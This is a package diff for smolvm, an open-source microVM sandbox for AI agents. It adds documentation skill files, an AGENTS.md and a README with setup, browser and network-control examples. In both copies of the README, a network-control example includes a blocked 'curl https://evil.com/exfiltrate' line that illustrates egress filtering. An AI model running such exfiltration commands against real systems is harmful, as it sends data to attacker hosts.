smolvm 0.0.7.dev0__tar.gz → 0.0.8.dev0__tar.gz

smolvm-0.0.8.dev0/.claude/skills/cli-docs-guidelines/SKILL.md

@@ -0,0 +1,86 @@
+---
+name: cli-docs-guidelines
+description: Review or write CLI documentation. Enforces progressive disclosure, logical command ordering, and plain-language explanations. Use when asked to "write CLI docs", "document commands", "review CLI reference", or "update command docs".
+argument-hint: <file-or-section>
+metadata:
+  author: Celesto Team
+  version: "1.0.0"
+---
+
+# CLI Documentation Guidelines
+
+Review or write CLI docs following these principles. CLI docs serve two audiences: newcomers running their first command, and experienced users scanning for flags.
+
+## Core Principles
+
+All README Guidelines apply here. In addition:
+
+### 1. Logical command ordering
+Commands must appear in the order a user would run them. A command should never reference output or state from a command that appears later in the docs.
+
+**Wrong** — `stop` appears before the user knows how to `list`:
+```bash
+smolvm stop <vm_id>
+smolvm list
+```
+
+**Right** — create, inspect, then destroy:
+```bash
+smolvm create --name my-sandbox
+smolvm list
+smolvm stop my-sandbox
+```
+
+### 2. Introduce a concept before its flags
+Show the base command before showing any flags or subcommands. Each flag is a new concept — don't introduce two flags in the same example unless they always go together.
+
+**Wrong** — `--os` and `--name` are both new:
+```bash
+smolvm create --os debian --name my-debian-sandbox
+```
+
+**Right** — `--name` first, then a separate example for `--os`:
+```bash
+# Create a sandbox with a name
+smolvm create --name my-sandbox
+
+# Use a different OS image
+smolvm create --os debian --name my-debian-sandbox
+```
+
+### 3. Show expected output after commands that produce it
+When a command prints a value the user needs (an ID, a URL, a status), show it. The reader should never have to run the command to find out what it returns.
+
+```bash
+smolvm browser start --live
+# Session: sess_a1b2c3
+# Live view: http://localhost:6080
+```
+
+### 4. One topic per section
+Don't mix sandbox lifecycle commands with browser session commands in the same section. Each distinct workflow gets its own heading.
+
+### 5. Flags reference comes after prose explanation
+Never lead with a flags table. Explain what the command does in plain language first, then list flags for readers who want to go deeper.
+
+## Review Checklist
+
+- [ ] Commands appear in the order a user would run them
+- [ ] Every placeholder (`<vm_id>`, `<session_id>`) is introduced by a prior command or clearly labelled as "output from the previous step"
+- [ ] Each code block introduces at most one new flag or subcommand
+- [ ] Commands that print useful output show that output as a comment
+- [ ] Conceptually distinct workflows (e.g. sandbox vs. browser) are in separate sections
+- [ ] Flags/options table, if present, appears after the prose description
+- [ ] No jargon (SSH, TAP device, CIDR, firecracker, QEMU) without a plain-language explanation on first use
+
+## Output Format
+
+For each violation found, output:
+
+```
+Line <N>: [rule violated]
+  Current: <quote the problematic text>
+  Fix: <suggested rewrite>
+```
+
+Then provide a revised version of any section that has more than one violation.

smolvm-0.0.8.dev0/.claude/skills/readme-guidelines/SKILL.md

@@ -0,0 +1,71 @@
+---
+name: readme-guidelines
+description: Review or write README content for open-source projects. Enforces progressive disclosure, jargon-free language, and single-concept code examples. Use when asked to "write README", "review README", "update README", or "check docs".
+argument-hint: <file-or-section>
+metadata:
+  author: Celesto Team
+  version: "1.0.0"
+---
+
+# README Guidelines
+
+Review or write README content following these principles. The goal is easy onboarding for both newcomers and advanced users.
+
+## Core Principles
+
+### 1. Progressive disclosure of complexity
+Structure content so readers can stop at any point and still have a working mental model. Each section should be usable on its own:
+- Lead with the simplest outcome (one-liner, quickstart)
+- Add detail in subsequent sections
+- Advanced topics (integrations, internals, performance) come last
+- Never require reading ahead to understand what's in front of you
+
+### 2. One concept per code example
+Each code block should demonstrate exactly one idea. If a snippet requires the reader to understand two or more new things simultaneously, split it.
+
+**Wrong** — introduces sandbox creation AND environment variables at the same time:
+```python
+with SmolVM(env={"API_KEY": "secret"}) as vm:
+    vm.run("curl $API_KEY")
+```
+
+**Right** — teaches sandbox creation first, env vars in a separate example:
+```python
+with SmolVM() as vm:
+    vm.run("echo 'hello'")
+```
+
+### 3. Jargon-free language first, depth second
+Explain every concept as if talking to a first-year CS student before using technical terms. Then go deeper if the reader needs it.
+
+- Bad: "SSH host keys are accepted on first connection via TOFU"
+- Good: "SmolVM automatically trusts new sandboxes on first connection to keep setup simple. (This is called trust-on-first-use, or TOFU — the same approach your browser uses for new websites.)"
+
+### 4. Introduce before you use
+Never use a value, flag, or identifier in a code block without explaining where it comes from. If a command prints a `session_id`, show that command *before* any command that takes `session_id` as input.
+
+## Review Checklist
+
+When reviewing a README, check each section against these rules:
+
+- [ ] Tagline: does it describe a single, concrete outcome?
+- [ ] Intro paragraph: can a newcomer understand it without prior context?
+- [ ] Quickstart: does it follow install → configure → first run, in that order?
+- [ ] Each code block: does it introduce exactly one new concept?
+- [ ] Each new identifier (`<session_id>`, `<vm_id>`): is it introduced before it's used?
+- [ ] Jargon: is every technical term explained in plain language on first use?
+- [ ] Sections: does complexity increase monotonically top-to-bottom?
+- [ ] Examples table: are entries grouped by audience (getting started vs. advanced)?
+- [ ] Footer: does it duplicate links that already appear at the top?
+
+## Output Format
+
+For each violation found, output:
+
+```
+Line <N>: [rule violated]
+  Current: <quote the problematic text>
+  Fix: <suggested rewrite>
+```
+
+Then provide a revised version of any section that has more than one violation.

{smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.gitignore

@@ -212,3 +212,4 @@ pnpm-debug.log*
 ui/package-lock.json
 ui/node_modules/.package-lock.json
 artifacts/
+play.ipynb

smolvm-0.0.8.dev0/AGENTS.md

@@ -0,0 +1,25 @@
+# SmolVM Context
+
+SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches the host.
+
+## 🚀 Project Overview
+
+SmolVM is specifically designed to provide a secure "sandbox" for AI agents to execute code, browse the web, or perform system-level tasks safely.
+
+
+## 🧪 Development
+
+### Key Commands
+- **Testing:** `pytest` (runs the suite in `tests/`)
+- **Linting & Formatting:** `uv run ruff check .` or `uv run ruff format .`
+
+### Core writing principles
+- Follow progressive disclosure of complexity.
+- Lead with outcomes, not implementation details.
+- The first paragraph of every page must be plain English with no jargon.
+- Assume the reader may be a beginner engineer or even a non-developer.
+- Do not assume prior knowledge.
+- Explain what the user can do and why it matters before explaining how it works.
+- Do not introduce a new concept unless the page truly needs it.
+- If you must use a technical term, explain it immediately in simple language.
+- Prefer short, concrete sentences over dense explanations.

smolvm-0.0.8.dev0/PKG-INFO

@@ -0,0 +1,270 @@
+Metadata-Version: 2.4
+Name: smolvm
+Version: 0.0.8.dev0
+Summary: Secure runtime for AI agents, and tools -- free and open-source from Celesto AI 🧡
+Author-email: Celesto AI <hello@celesto.ai>
+License-Expression: Apache-2.0
+License-File: LICENSE
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: Apache Software License
+Classifier: Operating System :: MacOS :: MacOS X
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: System :: Emulators
+Requires-Python: >=3.10
+Requires-Dist: paramiko>=3.0
+Requires-Dist: pycdlib>=1.14.0
+Requires-Dist: pydantic>=2.0
+Requires-Dist: requests-unixsocket>=0.3
+Requires-Dist: requests>=2.28
+Requires-Dist: rich>=13.0
+Provides-Extra: all
+Requires-Dist: fastapi>=0.115.0; extra == 'all'
+Requires-Dist: langchain; extra == 'all'
+Requires-Dist: langchain-openai; extra == 'all'
+Requires-Dist: openai; extra == 'all'
+Requires-Dist: openai-agents; extra == 'all'
+Requires-Dist: playwright; extra == 'all'
+Requires-Dist: pydantic-ai; extra == 'all'
+Requires-Dist: uvicorn[standard]>=0.34.0; extra == 'all'
+Requires-Dist: websockets>=14.0; extra == 'all'
+Provides-Extra: dashboard
+Requires-Dist: fastapi>=0.115.0; extra == 'dashboard'
+Requires-Dist: uvicorn[standard]>=0.34.0; extra == 'dashboard'
+Requires-Dist: websockets>=14.0; extra == 'dashboard'
+Provides-Extra: dev
+Requires-Dist: mypy>=1.0; extra == 'dev'
+Requires-Dist: pre-commit>=4.2.0; extra == 'dev'
+Requires-Dist: pytest-asyncio>=1.0; extra == 'dev'
+Requires-Dist: pytest-cov>=4.0; extra == 'dev'
+Requires-Dist: pytest>=7.0; extra == 'dev'
+Requires-Dist: ruff>=0.15.0; extra == 'dev'
+Provides-Extra: examples
+Requires-Dist: langchain; extra == 'examples'
+Requires-Dist: langchain-openai; extra == 'examples'
+Requires-Dist: openai; extra == 'examples'
+Requires-Dist: openai-agents; extra == 'examples'
+Requires-Dist: playwright; extra == 'examples'
+Requires-Dist: pydantic-ai; extra == 'examples'
+Provides-Extra: postgres
+Requires-Dist: psycopg-pool>=3.1; extra == 'postgres'
+Requires-Dist: psycopg[binary]>=3.1; extra == 'postgres'
+Provides-Extra: s3
+Requires-Dist: boto3>=1.26; extra == 's3'
+Requires-Dist: python-dotenv>=1.0; extra == 's3'
+Description-Content-Type: text/markdown
+
+<div align="center">
+
+# SmolVM
+
+#### Secure, isolated computers that AI agents can use to browse, run code, and get real work done. 
+
+
+<img src="https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png">
+
+[![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)
+[![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)
+[![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)
+
+[Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q) 
+
+</div>
+
+---
+
+SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.
+
+
+## Features
+
+- **Sub-second boot** — VMs ready in ~500 ms.
+- **Hardware isolation** — Stronger security than containers.
+- **Network controls** — Domain allowlists for egress filtering.
+- **Browser sessions** — Full browser agents can see and control.
+- **Snapshots** — Save and restore VM state instantly.
+- **OpenClaw** — GUI Linux apps inside a sandbox.
+
+
+## Use cases
+
+- **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.
+- **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.
+- **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.
+
+
+## Quickstart
+
+1. Install the package.
+
+```bash
+pip install smolvm
+```
+
+2. Run the one-time setup for your machine.
+
+```bash
+smolvm setup
+```
+
+Linux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.
+
+3. Check that the runtime is ready.
+
+```bash
+smolvm doctor
+```
+
+### Start a sandbox in Python
+
+```python
+from smolvm import SmolVM
+
+with SmolVM() as vm:
+    result = vm.run("echo 'Hello from the sandbox!'")
+    print(result.stdout.strip())
+```
+
+The `with` block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.
+
+
+### Start a sandbox from the CLI
+
+Create a sandbox, check that it's running, then stop it:
+
+```bash
+smolvm create --name my-sandbox
+# my-sandbox  running  172.16.0.2
+
+smolvm list
+# NAME         STATUS   IP
+# my-sandbox   running  172.16.0.2
+
+smolvm stop my-sandbox
+```
+
+Open a shell inside a running sandbox:
+
+```bash
+smolvm ssh my-sandbox
+```
+
+
+## Browser sessions
+
+SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.
+
+Start a browser session with a live view you can watch in your own browser:
+
+```bash
+smolvm browser start --live
+# Session:   sess_a1b2c3
+# Live view: http://localhost:6080
+```
+
+Open the URL to watch the browser in real time. When you're done, list and stop sessions:
+
+```bash
+smolvm browser list
+smolvm browser stop sess_a1b2c3
+```
+
+See [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.
+
+
+## Network controls
+
+By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:
+
+```python
+from smolvm import SmolVM
+
+vm = SmolVM(internet_settings={
+    "allowed_domains": ["https://api.openai.com"],
+})
+
+vm.run("curl https://api.openai.com/v1/models")    # allowed
+vm.run("curl https://evil.com/exfiltrate")         # blocked
+```
+
+See [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.
+
+
+## Examples
+
+### Getting started
+
+| What you'll learn | Example |
+| --- | --- |
+| Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |
+| Start a browser session | [browser_session.py](examples/browser_session.py) |
+| Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |
+
+### Agent framework integrations
+
+These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.
+
+| Framework | Example |
+| --- | --- |
+| OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |
+| LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |
+| PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |
+| PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |
+| PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |
+| Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |
+
+### Advanced
+
+| What it does | Example |
+| --- | --- |
+| Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |
+
+Each script shows its own `pip install ...` line when it needs extra packages.
+
+
+## Security
+
+SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.
+
+
+## Performance
+
+Median lifecycle timings on a standard Linux host:
+
+| Phase | Time |
+| --- | --- |
+| Create + Start | ~572 ms |
+| Ready to accept commands | ~2.1 s |
+| Command execution | ~43 ms |
+| Stop + Delete | ~751 ms |
+| **Full lifecycle (boot, run, teardown)** | **~3.5 s** |
+
+Run the benchmark yourself:
+
+```bash
+python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v
+```
+
+Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses [Firecracker](https://firecracker-microvm.github.io/), a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.
+
+
+## Contributing
+
+See [CONTRIBUTING.md](CONTRIBUTING.md) to get started.
+
+
+## License
+
+Apache 2.0 — see [LICENSE](LICENSE) for details.
+
+---
+<div align="center">
+Built with 🧡 in London by <a href="https://celesto.ai">Celesto AI</a>
+</div>

smolvm-0.0.8.dev0/README.md

@@ -0,0 +1,208 @@
+<div align="center">
+
+# SmolVM
+
+#### Secure, isolated computers that AI agents can use to browse, run code, and get real work done. 
+
+
+<img src="https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png">
+
+[![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)
+[![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)
+[![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)
+
+[Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q) 
+
+</div>
+
+---
+
+SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.
+
+
+## Features
+
+- **Sub-second boot** — VMs ready in ~500 ms.
+- **Hardware isolation** — Stronger security than containers.
+- **Network controls** — Domain allowlists for egress filtering.
+- **Browser sessions** — Full browser agents can see and control.
+- **Snapshots** — Save and restore VM state instantly.
+- **OpenClaw** — GUI Linux apps inside a sandbox.
+
+
+## Use cases
+
+- **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.
+- **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.
+- **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.
+
+
+## Quickstart
+
+1. Install the package.
+
+```bash
+pip install smolvm
+```
+
+2. Run the one-time setup for your machine.
+
+```bash
+smolvm setup
+```
+
+Linux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.
+
+3. Check that the runtime is ready.
+
+```bash
+smolvm doctor
+```
+
+### Start a sandbox in Python
+
+```python
+from smolvm import SmolVM
+
+with SmolVM() as vm:
+    result = vm.run("echo 'Hello from the sandbox!'")
+    print(result.stdout.strip())
+```
+
+The `with` block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.
+
+
+### Start a sandbox from the CLI
+
+Create a sandbox, check that it's running, then stop it:
+
+```bash
+smolvm create --name my-sandbox
+# my-sandbox  running  172.16.0.2
+
+smolvm list
+# NAME         STATUS   IP
+# my-sandbox   running  172.16.0.2
+
+smolvm stop my-sandbox
+```
+
+Open a shell inside a running sandbox:
+
+```bash
+smolvm ssh my-sandbox
+```
+
+
+## Browser sessions
+
+SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.
+
+Start a browser session with a live view you can watch in your own browser:
+
+```bash
+smolvm browser start --live
+# Session:   sess_a1b2c3
+# Live view: http://localhost:6080
+```
+
+Open the URL to watch the browser in real time. When you're done, list and stop sessions:
+
+```bash
+smolvm browser list
+smolvm browser stop sess_a1b2c3
+```
+
+See [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.
+
+
+## Network controls
+
+By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:
+
+```python
+from smolvm import SmolVM
+
+vm = SmolVM(internet_settings={
+    "allowed_domains": ["https://api.openai.com"],
+})
+
+vm.run("curl https://api.openai.com/v1/models")    # allowed
+vm.run("curl https://evil.com/exfiltrate")         # blocked
+```
+
+See [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.
+
+
+## Examples
+
+### Getting started
+
+| What you'll learn | Example |
+| --- | --- |
+| Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |
+| Start a browser session | [browser_session.py](examples/browser_session.py) |
+| Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |
+
+### Agent framework integrations
+
+These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.
+
+| Framework | Example |
+| --- | --- |
+| OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |
+| LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |
+| PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |
+| PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |
+| PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |
+| Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |
+
+### Advanced
+
+| What it does | Example |
+| --- | --- |
+| Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |
+
+Each script shows its own `pip install ...` line when it needs extra packages.
+
+
+## Security
+
+SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.
+
+
+## Performance
+
+Median lifecycle timings on a standard Linux host:
+
+| Phase | Time |
+| --- | --- |
+| Create + Start | ~572 ms |
+| Ready to accept commands | ~2.1 s |
+| Command execution | ~43 ms |
+| Stop + Delete | ~751 ms |
+| **Full lifecycle (boot, run, teardown)** | **~3.5 s** |
+
+Run the benchmark yourself:
+
+```bash
+python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v
+```
+
+Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses [Firecracker](https://firecracker-microvm.github.io/), a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.
+
+
+## Contributing
+
+See [CONTRIBUTING.md](CONTRIBUTING.md) to get started.
+
+
+## License
+
+Apache 2.0 — see [LICENSE](LICENSE) for details.
+
+---
+<div align="center">
+Built with 🧡 in London by <a href="https://celesto.ai">Celesto AI</a>
+</div>